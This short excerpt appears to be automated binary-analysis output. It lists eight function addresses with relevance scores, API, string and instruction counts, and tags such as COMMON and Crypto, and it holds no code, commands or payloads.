Function 0040C8E0, Relevance: 209.4, APIs: 14, Strings: 125, Instructions: 925
stringCOMMONCrypto

Function 00409119, Relevance: 187.4, Strings: 149, Instructions: 1189
COMMONCrypto

Function 004091A7, Relevance: 184.9, Strings: 147, Instructions: 1169
COMMONCrypto

Function 0040EDE0, Relevance: 182.0, Strings: 145, Instructions: 703
COMMONCrypto

Function 0041E3A0, Relevance: 179.1, APIs: 5, Strings: 97, Instructions: 627
COMMONCrypto

Function 00409436, Relevance: 171.1, Strings: 136, Instructions: 1070
COMMONCrypto

Function 0040EF78, Relevance: 163.1, Strings: 130, Instructions: 635
COMMONCrypto

Function 0040F0E9, Relevance: 160.6, Strings: 128, Instructions: 572
COMMONCrypto